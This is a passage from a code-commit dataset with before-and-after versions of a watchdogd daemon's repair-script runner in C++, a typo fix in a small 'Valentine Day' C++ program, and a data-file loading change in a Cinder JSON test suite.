repairScriptFolder[i+1] == '\\0') {\n\t\t\t\trepairScriptFolder[i] = '\\0';\n\t\t\t}\n\t\t}\n\n\n\t\tWasprintf((char **)&cmd->path, \"%s\/%s\", repairScriptFolder, ent->d_name);\n\n\t\tif (cmd->path == NULL) {\n\t\t\tassert(cmd != NULL);\n\t\t\tfree(cmd);\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tcmd->legacy = true;\n\t\t} else {\n\t\t\t\/\/For V3 repair scripts cmd->path refers to the pathname of the repair script config file\n\t\t\tif (LoadRepairScriptLink\n\t\t\t    (&cmd->spawnattr, (char *)cmd->path) == false) {\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->spawnattr.repairFilePathname = strdup(cmd->path);\n\t\t\tfree((void *)cmd->path);\n\t\t\tcmd->path = NULL;\n\t\t\tcmd->path = cmd->spawnattr.execStart;\n\n\t\t\tchar * rel = basename(strdup(cmd->path));\n\n\t\t\tif (strcmp(rel, cmd->path) == 0) {\n\t\t\t\tfree((void*)rel);\n\t\t\t\tWasprintf((char **)&rel, \"%s\/%s\", repairScriptFolder, cmd->path);\n\t\t\t\tfree((void*)cmd->path);\n\t\t\t\tcmd->path = cmd->spawnattr.execStart = rel;\n\t\t\t}\n\n\t\t\tif (cmd->path == NULL) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\"Ignoring malformed repair file: %s\\n\",\n\t\t\t\t\tent->d_name);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (fd < 0) {\n\t\t\t\tfprintf(stderr, \"unable to open file %s:\\n\",\n\t\t\t\t\tMyStrerror(errno));\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (IsExe(cmd->path, false) < 0) {\n\t\t\t\tfprintf(stderr, \"%s is not an executable\\n\",\n\t\t\t\t\tcmd->path);\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->legacy = false;\n\t\t}\n\n\t\tlist_add(&cmd->entry, &p->head);\n\t}\n\t\n\tassert(fd != -1);\n\n\tclose(fd);\n\tclosedir(dir);\n\tDeleteDuplicates(p);\n\treturn 0;\n\n error:\n\tassert(fd != -1);\n\tclose(fd);\n\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\tclosedir(dir);\n\n\treturn -1;\n}\n\nvoid FreeExeList(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tlist_del(&c->entry);\n\t\tfree((void *)c->path);\n\t\tif (c->legacy == false) {\n\t\t\tfree((void *)c->spawnattr.user);\n\t\t\tfree((void *)c->spawnattr.group);\n\t\t\tfree((void *)c->spawnattr.workingDirectory);\n\t\t\tfree((void *)c->spawnattr.repairFilePathname);\n\t\t\tfree((void *)c->spawnattr.noNewPrivileges);\n\t\t}\n\t\tfree(c);\n\t}\n}\n\nstatic void * __ExecScriptWorkerThread(void *a)\n{\n\tassert(a != NULL);\n\n\t__sync_synchronize();\n\n\tContainer *container = (Container *) a;\n\trepaircmd_t *c = container->cmd;\n\tcontainer->workerThreadCount += 1;\n\tsem = 1;\n\tFutexWake(&sem);\n\t__sync_synchronize();\n\n\tif (c->legacy == false) {\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\",\n\t\t\t\t      NULL);\n\t\t} else {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\", c->retString,\n\t\t\t\t      NULL);\n\t\t}\n\t} else {\n\t\tspawnattr_t attr = {\n\t\t\t\t.workingDirectory = NULL, .repairFilePathname = NULL,\n\t        \t\t.execStart = NULL, .user = NULL, .group = NULL,\n\t\t\t\t.timeout = container->config->repairBinTimeout, .nice = 0, .umask = 0,\n\t\t\t\t.noNewPrivileges = false, .hasUmask = false\n\t\t};\n\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->path, NULL);\n\t\t\t}\n\t\t} else {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->retString, c->path, NULL);\n\t\t\t}\n\t\t}\n\t}\n\n\tc->retString[0] = '\\0';\n\n\tcontainer->workerThreadCount -= 1;\n\n\t__sync_synchronize();\n\treturn NULL;\n}\n\nstatic void __WaitForWorkers(Container const *container)\n{\n\twhile (container->workerThreadCount != 0) {\n\t\tsleep(1);\n\t}\n}\n\nstatic int __ExecuteRepairScripts(void *a)\n{\n\tstruct executeScriptsStruct *arg = (struct executeScriptsStruct *)a;\n\tProcessList *p = arg->list;\n\tstruct cfgoptions *s = arg->config;\n\n\tContainer container = {{0}, s, NULL};\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tcontainer.cmd = c;\n\t\tcontainer.cmd->mode = TEST;\n\n\t\tc->retString[0] = '\\0';\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\tc = NULL;\n\tnext = NULL;\n\n\t__WaitForWorkers(&container);\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tcontainer.cmd = c;\n\t\tportable_snprintf(container.cmd->retString, sizeof(container.cmd->retString), \"%i\", c->ret);\n\n\t\tcontainer.cmd->mode = REPAIR;\n\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\t__WaitForWorkers(&container);\n\n\tc = NULL;\n\tnext = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret != 0) {\n\t\t\tLogmsg(LOG_ERR, \"repair %s script failed\",\n\t\t\t\tc->legacy == false ? c->spawnattr.repairFilePathname : c->path);\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nstatic int pipeFd[2] = {0};\n\nbool ExecuteRepairScriptsPreFork(ProcessList * p, struct cfgoptions *s)\n{\n\tif (list_is_empty(&p->head)) {\n\t\treturn true;\n\t}\n\n\tpipe(pipeFd);\n\n\tpid_t pid = fork();\n\n\tif (pid == -1) {\n\t\tLogmsg(LOG_ERR, \"%s\\n\", MyStrerror(errno));\n\t\treturn false;\n\t} else if (pid == 0) {\n\t\tclose(pipeFd[0]);\n\t\tpid_t pid = fork();\n\n#if defined(__linux__)\n\t\tif (LinuxRunningSystemd() == 1) {\n\t\t\tunsetenv(\"NOTIFY_SOCKET\");\n\t\t}\n#endif\n\n\t\tunsetenv(\"LD_PRELOAD\");\n\n\t\tif (pid > 0) {\n\t\t\t_Exit(0);\n\t\t}\n\n\n\t\tif (pid < 0) {\n\t\t\tLogmsg(LOG_ERR, \"fork failed: %s\", MyStrerror(errno));\n\t\t\tabort();\n\t\t}\n\n\t\tchar b[1];\n\n\t\tThreadPoolNew();\n\n\t\twhile (true) {\n\t\t\tuint64_t value = 0;\n\t\t\tstruct executeScriptsStruct ess;\n\t\t\tess.list = p;\n\t\t\tess.config = s;\n\n\t\t\tint ret = __ExecuteRepairScripts(&ess);\n\n\t\t\twrite(pipeFd[1], &ret, sizeof(ret));\n\t\t}\n\n\t\texit(0);\n\t}\n\tclose(pipeFd[1]);\n\treturn true;\n}\n\nint ExecuteRepairScripts(void)\n{\n\tuint64_t value = 1;\n\tint ret = 0;\n\n\tread(pipeFd[0], &ret, sizeof(ret));\n\n\tif (ret != 0) {\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ \"Hello World\" in C++\r\n#include <iostream>\r\nusing namespace std;\r\n\r\nint main ()\r\n{\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<engl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  return 0;\r\n}\r\n<commit_msg>popravka grashka pri kompilaciq<commit_after>\/\/ \"Hello World\" in C++\r\n#include <iostream>\r\nusing namespace std;\r\n\r\nint main ()\r\n{\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  cout << \"Heppy Valentine Day!\"<<endl <<endl ;\r\n  return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"cinder\/app\/App.h\"\n#include \"cinder\/Json.h\"\n\n#include \"jsoncpp\/json.h\"\n#include \"catch.hpp\"\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\n\nTEST_CASE(\"Json\", \"[noisy]\")\n{\n\tSECTION(\"Basic JSON Parsing\")\n\t{\n\t\tconsole() << \"jsoncpp version: \" << JSONCPP_VERSION_STRING << endl;\n\n\t\tJsonTree value( \"key\", \"value\" );\n\t\tconsole() << value << endl;\n\n\t\tJsonTree doc( loadResource( \"data\/library.json\" ) );\n\t\tJsonTree musicLibrary( doc.getChild( \"library\" ) );\n\n\t\tJsonTree owner = doc.getChild( \"library.owner\" );\n\t\tfor( JsonTree::ConstIter item = owner.begin(); item != owner.end(); ++item ) {\n\t\t\tconsole() << \"Node: \" << item->getKey() << \" Value: \" << item->getValue<string>() << endl;\n\t\t}\n\n\t\tJsonTree tracks = doc.getChild( \"library.albums[0].tracks\" );\n\t\tfor( JsonTree::ConstIter track = tracks.begin(); track != tracks.end(); ++track ) {\n\t\t\tconsole() << track->getChild( \"id\" ).getValue<int>() << endl;\n\t\t}\n\n\t\tfor( JsonTree::ConstIter trackIt = tracks.begin(); trackIt != tracks.end(); ++trackIt ) {\n\t\t\tJsonTree track = * trackIt;\n\t\t\tconsole() << track[\"id\"].getValue<int>() << endl;\n\t\t}\n\n\t\tJsonTree firstAlbum = doc.getChild( \"library.albums[0]\" );\n\t\tfor( JsonTree::Iter child = firstAlbum.begin(); child != firstAlbum.end(); ++child ) {\n\t\t\tif ( !child->hasChildren() ) {\n\t\t\t\tconsole() << \"Key: \" << child->getKey() << \"  Value: \" << child->getValue<string>() << endl;\n\t\t\t}\n\t\t}\n\n\t\tconsole() << doc.getChild( \"library.owner\" );\n\t\tJsonTree &ownerCity = doc.getChild( \"library.owner.city\" );\n\t\tstring s = ownerCity.getPath();\n\t\tconsole() << \"Path: \" << ownerCity.getPath() << \"\\n  Value: \" << ownerCity.getValue<string>() << endl;\n\t\tconsole() << doc;\n\t\t\n\t\tJsonTree firstTrackCopy = doc.getChild( \"library.albums[0].tracks[0].title\" );\n\t\tfirstTrackCopy = JsonTree( firstTrackCopy.getKey(), string( \"Replacement name\" ) );\n\t\tconsole() << doc.getChild( \"library.albums[0].tracks[0]['title']\" ) << endl;\n\n\t\tJsonTree &firstTrackRef = doc.getChild( \"library.albums[0].tracks[2].title\" );\n\t\tconsole() << firstTrackRef.getPath() << endl;\n\t\tfirstTrackRef = JsonTree( firstTrackRef.getKey(), string( \"Replacement name\" ) );\n\t\tconsole() << doc.getChild( \"library.albums[0].tracks[0].title\" ) << endl;\n\n\t\tconsole() << \"attempting invalid json (should cause ExcJsonParserError next)..\" << endl;\n\t\ttry {\n\t\t\tJsonTree invalid( \"%%%%%%%%\" );\n\t\t} catch ( JsonTree::ExcJsonParserError ex ) {\n\t\t\tconsole() << ex.what() << endl;\n\t\t}\n\t\t\n\t\tJsonTree test32u( \"uint32\", uint32_t( math<uint64_t>::pow( 2, 32 ) ) - 1 );\n\t\tconsole() << test32u;\n\t\tconsole() << test32u.getValue() << endl;\n\t\tJsonTree test32( \"int32\", int32_t( math<int32_t>::pow( 2, 32 ) ) - 1 );\n\t\tconsole() << test32;\n\t\tconsole() << test32.getValue() << endl;\n\t\tJsonTree test64u( \"uint64\", uint64_t( math<uint64_t>::pow( 2, 64 ) ) - 1 );\n\t\tconsole() << test64u;\n\t\tconsole() << test64u.getValue() << endl;\n\t\tJsonTree test64( \"int64\", int64_t( math<int64_t>::pow( 2, 64 ) ) - 1 );\n\t\tconsole() << test64;\n\t\tconsole() << test64.getValue() << endl;\n\n\t\tconsole() << \"complete.\" << endl;\n\t}\n\n\tSECTION(\"Cinder ignores c-style comments in JSON\")\n\t{\n\t\tconsole() << \"testing json with comments..\" << endl;\n\n\t\ttry {\n\t\t\tJsonTree json( loadFile( \"data\/test_comments.json\" ) );\n\t\t\tconsole() << \"test_comments.json parsed contents: \" << json << endl;\n\t\t}\n\t\tcatch( ci::JsonTree::Exception &exc ) {\n\t\t\tconsole() << \"caught json exception, what: \" << exc.what() << endl;\n\t\t}\n\t\tcatch( std::exception &exc ) {\n\t\t\tconsole() << \"Other exception, what: \" << exc.what() << endl;\n\t\t}\n\t}\n\n\tSECTION(\"Cinder can build and write JSON trees to disk\")\n\t{\n\t\tJsonTree doc;\n\t\tJsonTree library = JsonTree::makeObject( \"library\" );\n\t\tJsonTree album = JsonTree::makeArray( \"album\" );\n\t\t\n\t\talbum.addChild( \n\t\t\tJsonTree( \"musician\", string( \"Sufjan Stevens\" ) ) ).addChild( \n\t\t\tJsonTree( \"year\", string( \"2004\" ) ) ).addChild( \n\t\t\tJsonTree( \"title\", string( \"Seven Swans\" ) ) \n\t\t\t);\n\n\t\tJsonTree tracks = JsonTree::makeArray( \"tracks\" );\n\n\t\tfor ( int32_t i = 0; i < 6; i ++ ) {\n\t\t\t\n\t\t\tJsonTree track;\n\t\t\ttrack.pushBack( JsonTree( \"id\", i + 1 ) );\n\t\t\t\n\t\t\tJsonTree title;\n\t\t\tswitch ( i ) {\n\t\t\tcase 0:\n\t\t\t\ttitle = JsonTree( \"title\", \"All the Trees of the Field Will Clap Their Hands\" );\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\ttitle = JsonTree( \"title\", \"The Dress Looks Nice on You\" );\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\ttitle = JsonTree( \"title\", \"In the Dev Hole's Territory\" );\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\ttitle = JsonTree( \"title\", \"To Be a Clone With You\" );\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\ttitle = JsonTree( \"title\", \"To Be Removed\" );\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\ttitle = JsonTree( \"title\", \"To Be Removed\" );\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\ttrack.addChild( title ).addChild( track );\n\t\t\ttracks.pushBack( track );\n\t\t}\n\t\t\n\t\tfor ( JsonTree::Iter trackIt = tracks.begin(); trackIt != tracks.end(); ++trackIt ) {\n\t\t\tif ( trackIt->getChild( \"id\" ).getValue<int>() == 3 ) {\n\t\t\t\ttracks.replaceChild( trackIt, JsonTree().addChild( JsonTree( \"id\", 3 ) ).addChild( JsonTree( \"title\", \"In the Devil's Territory\" ) ) );\n\t\t\t}\n\t\t}\n\t\t\n\t\ttracks.replaceChild( 3, JsonTree().addChild( JsonTree( \"id\", 4 ) ).addChild( JsonTree( \"title\", \"To Be Alone With You\" ) ) );\n\t\t\n\t\ttracks.removeChild( 4 );\n\t\t\n\t\tfor ( JsonTree::Iter trackIt = tracks.begin(); trackIt != tracks.end(); ) {\n\t\t\tif ( trackIt->getChild( \"id\" ).getValue<int>() == 6 ) {\n\t\t\t\ttrackIt = tracks.removeChild( trackIt );\n\t\t\t} else {\n\t\t\t\t++trackIt;\n\t\t\t}\n\t\t}\n\t\t\n\t\talbum.pushBack( tracks );\n\t\tlibrary.pushBack( album );\n\t\tdoc.pushBack( library );\n\n\t\tconsole() << doc;\n\t\t\n\t\tdoc.write( writeFile( getDocumentsDirectory() \/ \"testoutput.json\" ), JsonTree::WriteOptions() );\n\t\tdoc.write( writeFile( getDocumentsDirectory() \/ \"testoutput_fast.json\" ), JsonTree::WriteOptions().indented( false ) );\n\t}\n} \/\/ json\n<commit_msg>data file load changes for xplatform friendliness<commit_after>#include \"cinder\/app\/App.h\"\n#include \"cinder\/Json.h\"\n\n#include \"jsoncpp\/json.h\"\n#include \"catch.hpp\"\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\n\nTEST_CASE(\"Json\", \"[noisy]\")\n{\n\tSECTION(\"Basic JSON Parsing\")\n\t{\n\t\tconsole() << \"jsoncpp version: \" << JSONCPP_VERSION_STRING << endl;\n\n\t\tJsonTree value( \"key\", \"value\" );\n\t\tconsole() << value << endl;\n\n\t\tJsonTree doc( loadFile( \"data\/library.json\" ) );\n\t\tJsonTree musicLibrary( doc.getChild( \"library\" ) );\n\n\t\tJsonTree owner = doc.getChild( \"library.owner\" );\n\t\tfor( JsonTree::ConstIter item = owner.begin(); item != owner.end(); ++item ) {\n\t\t\tconsole() << \"Node: \" << item->getKey() << \" Value: \" << item->getValue<string>() << endl;\n\t\t}\n\n\t\tJsonTree tracks = doc.getChild( \"library.albums[0].tracks\" );\n\t\tfor( JsonTree::ConstIter track = tracks.begin(); track != tracks.end(); ++track ) {\n\t\t\tconsole() << track->getChild( \"id\" ).getValue<int>() << endl;\n\t\t}\n\n\t\tfor( JsonTree::ConstIter trackIt = tracks.begin(); trackIt != tracks.end(); ++trackIt ) {\n\t\t\tJsonTree track = * trackIt;\n\t\t\tconsole() << track[\"id\"].getValue<int>() << endl;\n\t\t}\n\n\t\tJsonTree firstAlbum = doc.getChild( \"library.albums[0]\" );\n\t\tfor( JsonTree::Iter child = firstAlbum.begin(); child != firstAlbum.end(); ++child ) {\n\t\t\tif ( !child->hasChildren() ) {\n\t\t\t\tconsole() << \"Key: \" << child->getKey() << \"  Value: \" << child->getValue<string>() << endl;\n\t\t\t}\n\t\t}\n\n\t\tconsole() << doc.getChild( \"library.owner\" );\n\t\tJsonTree &ownerCity = doc.getChild( \"library.owner.city\" );\n\t\tstring s = ownerCity.getPath();\n\t\tconsole() << \"Path: \" << ownerCity.getPath() << \"\\n  Value: \" << ownerCity.getValue<string>() << endl;\n\t\tconsole() << doc;\n\t\t\n\t\tJsonTree firstTrackCopy = doc.getChild( \"library.albums[0].tracks[0].title\" );\n\t\tfirstTrackCopy = JsonTree( firstTrackCopy.getKey(), string( \"Replacement name\" ) );\n\t\tconsole() << doc.getChild( \"library.albums[0].tracks[0]['title']\" ) << endl;\n\n\t\tJsonTree &firstTrackRef = doc.getChild( \"library.albums[0].tracks[2].title\" );\n\t\tconsole() << firstTrackRef.getPath() << endl;\n\t\tfirstTrackRef = JsonTree( firstTrackRef.getKey(), string( \"Replacement name\" ) );\n\t\tconsole() << doc.getChild( \"library.albums[0].tracks[0].title\" ) << endl;\n\n\t\tconsole() << \"attempting invalid json (should cause ExcJsonParserError next)..\" << endl;\n\t\ttry {\n\t\t\tJsonTree invalid( \"%%%%%%%%\" );\n\t\t} catch ( JsonTree::ExcJsonParserError ex ) {\n\t\t\tconsole() << ex.what() << endl;\n\t\t}\n\t\t\n\t\tJsonTree test32u( \"uint32\", uint32_t( math<uint64_t>::pow( 2, 32 ) ) - 1 );\n\t\tconsole() << test32u;\n\t\tconsole() << test32u.getValue() << endl;\n\t\tJsonTree test32( \"int32\", int32_t( math<int32_t>::pow( 2, 32 ) ) - 1 );\n\t\tconsole() << test32;\n\t\tconsole() << test32.getValue() << endl;\n\t\tJsonTree test64u( \"uint64\", uint64_t( math<uint64_t>::pow( 2, 64 ) ) - 1 );\n\t\tconsole() << test64u;\n\t\tconsole() << test64u.getValue() << endl;\n\t\tJsonTree test64( \"int64\", int64_t( math<int64_t>::pow( 2, 64 ) ) - 1 );\n\t\tconsole() << test64;\n\t\tconsole() << test64.getValue() << endl;\n\n\t\tconsole() << \"complete.\" << endl;\n\t}\n\n\tSECTION(\"Cinder ignores c-style comments in JSON\")\n\t{\n\t\tconsole() << \"testing json with comments..\" << endl;\n\n\t\ttry {\n\t\t\tJsonTree json( loadFile( \"data\/test_comments.json\" ) );\n\t\t\tconsole() << \"test_comments.json parsed contents: \" << json << endl;\n\t\t}\n\t\tcatch( ci::JsonTree::Exception &exc ) {\n\t\t\tconsole() << \"caught json exception, what: \" << exc.what() << endl;\n\t\t}\n\t\tcatch( std::exception &exc ) {\n\t\t\tconsole() << \"Other exception, what: \" << exc.what() << endl;\n\t\t}\n\t}\n\n\tSECTION(\"Cinder can build and write JSON trees to disk\")\n\t{\n\t\tJsonTree doc;\n\t\tJsonTree library = JsonTree::makeObject( \"library\" );\n\t\tJsonTree album = JsonTree::makeArray( \"album\" );\n\t\t\n\t\talbum.addChild( \n\t\t\tJsonTree( \"musician\", string( \"Sufjan Stevens\" ) ) ).addChild( \n\t\t\tJsonTree( \"year\", string( \"2004\" ) ) ).addChild( \n\t\t\tJsonTree( \"title\", string( \"Seven Swans\" ) ) \n\t\t\t);\n\n\t\tJsonTree tracks = JsonTree::makeArray( \"tracks\" );\n\n\t\tfor ( int32_t i = 0; i < 6; i ++ ) {\n\t\t\t\n\t\t\tJsonTree track;\n\t\t\ttrack.pushBack( JsonTree( \"id\", i + 1 ) );\n\t\t\t\n\t\t\tJsonTree title;\n\t\t\tswitch ( i ) {\n\t\t\tcase 0:\n\t\t\t\ttitle = JsonTree( \"title\", \"All the Trees of the Field Will Clap Their Hands\" );\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\ttitle = JsonTree( \"title\", \"The Dress Looks Nice on You\" );\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\ttitle = JsonTree( \"title\", \"In the Dev Hole's Territory\" );\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\ttitle = JsonTree( \"title\", \"To Be a Clone With You\" );\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\ttitle = JsonTree( \"title\", \"To Be Removed\" );\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\ttitle = JsonTree( \"title\", \"To Be Removed\" );\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\ttrack.addChild( title ).addChild( track );\n\t\t\ttracks.pushBack( track );\n\t\t}\n\t\t\n\t\tfor ( JsonTree::Iter trackIt = tracks.begin(); trackIt != tracks.end(); ++trackIt ) {\n\t\t\tif ( trackIt->getChild( \"id\" ).getValue<int>() == 3 ) {\n\t\t\t\ttracks.replaceChild( trackIt, JsonTree().addChild( JsonTree( \"id\", 3 ) ).addChild( JsonTree( \"title\", \"In the Devil's Territory\" ) ) );\n\t\t\t}\n\t\t}\n\t\t\n\t\ttracks.replaceChild( 3, JsonTree().addChild( JsonTree( \"id\", 4 ) ).addChild( JsonTree( \"title\", \"To Be Alone With You\" ) ) );\n\t\t\n\t\ttracks.removeChild( 4 );\n\t\t\n\t\tfor ( JsonTree::Iter trackIt = tracks.begin(); trackIt != tracks.end(); ) {\n\t\t\tif ( trackIt->getChild( \"id\" ).getValue<int>() == 6 ) {\n\t\t\t\ttrackIt = tracks.removeChild( trackIt );\n\t\t\t} else {\n\t\t\t\t++trackIt;\n\t\t\t}\n\t\t}\n\t\t\n\t\talbum.pushBack( tracks );\n\t\tlibrary.pushBack( album );\n\t\tdoc.pushBack( library );\n\n\t\tconsole() << doc;\n\t\t\n\t\tdoc.write( writeFile( getDocumentsDirectory() \/ \"testoutput.json\" ), JsonTree::WriteOptions() );\n\t\tdoc.write( writeFile( getDocumentsDirectory() \/ \"testoutput_fast.json\" ), JsonTree::WriteOptions().indented( false ) );\n\t}\n} \/\/ json\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2013-2016 Christian Lockley\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may \n * not use this file except in compliance with the License. You may obtain \n * a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License. \n *\/\n#define _DEFAULT_SOURCE\n#include \"watchdogd.hpp\"\n#include \"sub.hpp\"\n#include <dirent.h>\n#include <semaphore.h>\n#include \"testdir.hpp\"\n#include \"exe.hpp\"\n#include \"repair.hpp\"\n#include <sys\/eventfd.h>\n#include \"threadpool.hpp\"\n#include \"futex.hpp\"\n\nstatic std::atomic_int sem = {0};\n\/\/The dirent_buf_size function was written by Ben Hutchings and released under the following license.\n\n\/\/Permission is hereby granted, free of charge, to any person obtaining a copy of this\n\/\/software and associated documentation files (the \"Software\"), to deal in the Software\n\/\/without restriction, including without limitation the rights to use, copy, modify, merge,\n\/\/publish, distribute, sublicense, and\/or sell copies of the Software, and to permit\n\/\/persons to whom the Software is furnished to do so, subject to the following\n\/\/condition:\n\/\/THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\/\/EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\/\/MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n\/\/HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n\/\/WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/DEALINGS IN THE SOFTWARE.\n\n\/\/Copied into this program Sun September 8, 2013 by Christian Lockley\n\nsize_t DirentBufSize(DIR * dirp)\n{\n\tlong name_max;\n\tsize_t name_end;\n#if defined(HAVE_FPATHCONF) && defined(HAVE_DIRFD) \\\n&& defined(_PC_NAME_MAX)\n\tname_max = fpathconf(dirfd(dirp), _PC_NAME_MAX);\n\tif (name_max == -1)\n#if defined(NAME_MAX)\n\t\tname_max = (NAME_MAX > 255) ? NAME_MAX : 255;\n#else\n\t\treturn (size_t) (-1);\n#endif\n#else\n#if defined(NAME_MAX)\n\tname_max = (NAME_MAX > 255) ? NAME_MAX : 255;\n#else\n#error \"buffer size for readdir_r cannot be determined\"\n#endif\n#endif\n\tname_end =\n\t    (size_t) offsetof(struct dirent,\n\t\t\t      d_name) + (unsigned long)name_max + 1;\n\treturn (name_end > sizeof(struct dirent)\n\t\t? name_end : sizeof(struct dirent));\n}\n\nstatic void DeleteDuplicates(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\trepaircmd_t *b = NULL;\n\t\trepaircmd_t *next2 = NULL;\n\t\tif (c->legacy) {\n\t\t\tlist_for_each_entry(b, next2, &p->head, entry) {\n\t\t\t\tif (!b->legacy) {\n\t\t\t\t\tif (strcmp(c->path, b->path) == 0) {\n\t\t\t\t\t\tlist_del(&c->entry);\n\t\t\t\t\t\tfree((void *)c->path);\n\t\t\t\t\t\tLogmsg(LOG_INFO, \"Using configuration info for %s script\", b->path);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nint CreateLinkedListOfExes(char *repairScriptFolder, ProcessList * p,\n\t\t\t   struct cfgoptions *const config)\n{\n\tassert(p != NULL);\n\tassert(repairScriptFolder != NULL);\n\n\tstruct stat buffer;\n\tstruct dirent *ent = NULL;\n\n\tlist_init(&p->head);\n\n\tint fd = open(repairScriptFolder, O_DIRECTORY | O_RDONLY);\n\n\tif (fd == -1) {\n\t\tif (!(IDENTIFY & config->options)) {\n\t\t\tfprintf(stderr, \"watchdogd: %s: %s\\n\", repairScriptFolder,\n\t\t\t\tMyStrerror(errno));\n\t\t}\n\n\t\tif (config->options & FORCE || config->options & SOFTBOOT || config->haveConfigFile == false) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn 1;\n\t}\n\n\tDIR *dir = fdopendir(fd);\n\n\tif (dir == NULL) {\n\t\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\t\tclose(fd);\n\t\treturn -1;\n\t}\n\n\terrno = 0;\n\n\twhile ((ent = readdir(dir)) != NULL) {\n\n\t\tint statfd = dirfd(dir);\n\n\t\tif (statfd == -1) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (strchr(\".\", ent->d_name[0]) != NULL && !(config->options & FORCE)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (fstatat(statfd, ent->d_name, &buffer, 0) < 0)\n\t\t\tcontinue;\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tif 